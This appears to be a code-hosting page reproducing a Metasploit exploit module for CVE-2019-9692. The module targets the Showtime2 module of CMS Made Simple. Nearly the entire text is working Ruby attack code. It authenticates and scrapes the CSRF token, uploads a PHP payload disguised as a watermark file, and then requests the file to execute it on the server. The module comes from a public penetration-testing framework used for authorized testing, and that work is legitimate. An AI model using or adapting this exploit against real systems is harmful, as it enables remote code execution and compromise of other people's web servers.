Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/multi/http/cmsms_showtime2_rce.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = NormalRanking78include Msf::Exploit::Remote::HttpClient9include Msf::Exploit::FileDropper1011def initialize(info = {})12super(update_info(info,13'Name' => "CMS Made Simple (CMSMS) Showtime2 File Upload RCE",14'Description' => %q(15This module exploits a File Upload vulnerability that lead in a RCE in16Showtime2 module (<= 3.6.2) in CMS Made Simple (CMSMS). An authenticated17user with "Use Showtime2" privilege could exploit the vulnerability.1819The vulnerability exists in the Showtime2 module, where the class20"class.showtime2_image.php" does not ensure that a watermark file21has a standard image file extension (GIF, JPG, JPEG, or PNG).2223Tested on Showtime2 3.6.2, 3.6.1, 3.6.0, 3.5.4, 3.5.3, 3.5.2, 3.5.1, 3.5.0,243.4.5, 3.4.3, 3.4.2 on CMS Made Simple (CMSMS) 2.2.9.125),26'License' => MSF_LICENSE,27'Author' =>28[29'Daniele Scanu', # Discovery & PoC30'Fabio Cogno' # Metasploit module31],32'References' =>33[34['CVE', '2019-9692'],35['CWE', '434'],36['EDB', '46546'],37['URL', 'https://forum.cmsmadesimple.org/viewtopic.php?f=1&t=80285'],38['URL', 'http://viewsvn.cmsmadesimple.org/diff.php?repname=showtime2&path=%2Ftrunk%2Flib%2Fclass.showtime2_image.php&rev=47']39],40'Platform' => 'php',41'Arch' => ARCH_PHP,42'Targets' => [['Automatic', {}]],43'Privileged' => false,44'DisclosureDate' => '2019-03-11',45'DefaultTarget' => 0))4647register_options(48[49OptString.new('TARGETURI', [true, "Base CMS Made Simple directory path", '/']),50OptString.new('USERNAME', [true, "Username to authenticate with", '']),51OptString.new('PASSWORD', [false, "Password to authenticate with", ''])52]53)54end5556def do_login57res = send_request_cgi(58'method' => 'POST',59'uri' => normalize_uri(target_uri.path, 'admin', 'login.php'),60'vars_post' => {61'username' => datastore['username'],62'password' => datastore['password'],63'loginsubmit' => 'Submit'64}65)6667unless res68fail_with(Failure::Unreachable, 'Connection failed')69end7071if res.code == 30272@csrf_name = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-2].to_s73@csrf_value = res.headers['Location'].scan(/([^?=&]+)[=([^&]*)]?/).flatten[-1].to_s74@cookies = res.get_cookies75return76end7778fail_with(Failure::NoAccess, 'Authentication was unsuccessful')79end8081def upload(fname, fcontent)82# construct POST data83data = Rex::MIME::Message.new84data.add_part('Showtime2,m1_,defaultadmin,0', nil, nil, "form-data; name=\"mact\"")85data.add_part('Upload', nil, nil, "form-data; name=\"m1_upload_submit\"")86data.add_part(@csrf_value, nil, nil, "form-data; name=\"#{@csrf_name}\"")87data.add_part(fcontent, 'text/plain', nil, "from-data; name=\"m1_input_browse\"; filename=\"#{fname}\"")8889res = send_request_cgi(90'method' => 'POST',91'uri' => normalize_uri(target_uri, 'admin', 'moduleinterface.php'),92'ctype' => "multipart/form-data; boundary=#{data.bound}",93'data' => data.to_s,94'headers' => {95'Cookie' => @cookies96}97)9899unless res100fail_with(Failure::Unreachable, 'Connection failed')101end102103if res.code == 200 && (res.body =~ /#{Regexp.escape(fname)}/i || res.body =~ /id="showoverview"/i)104return105end106107print_warning('No confidence in PHP payload success or failure')108end109110def check111res = send_request_cgi(112'method' => 'GET',113'uri' => normalize_uri(target_uri.path, 'modules', 'Showtime2', 'moduleinfo.ini')114)115116unless res117vprint_error 'Connection failed'118return CheckCode::Unknown119end120121if res.code == 200122module_version = Rex::Version.new(res.body.scan(/^version = "?(\d\.\d\.\d)"?/).flatten.first)123if module_version < Rex::Version.new('3.6.3')124# Showtime2 module is uploaded and present on "Module Manager" section but it could be NOT installed.125vprint_status("Showtime2 version: #{module_version}")126return Exploit::CheckCode::Appears127end128end129130return Exploit::CheckCode::Safe131end132133def exploit134unless Exploit::CheckCode::Appears == check135fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')136end137138@csrf_name = nil139@csrf_value = nil140@cookies = nil141142do_login143144# Upload PHP payload145fname = "#{rand_text_alphanumeric(3..9)}.php"146fcontent = "<?php #{payload.encode} ?>"147print_status('Uploading PHP payload.')148upload(fname, fcontent)149150# Register uploaded PHP payload file for cleanup151register_files_for_cleanup('./' + fname)152153# Retrieve and execute PHP payload154print_status("Making request for '/#{fname}' to execute payload.")155send_request_cgi(156{157'method' => 'GET',158'uri' => normalize_uri(target_uri.path, 'uploads', 'images', fname)159},16015161)162end163end164165166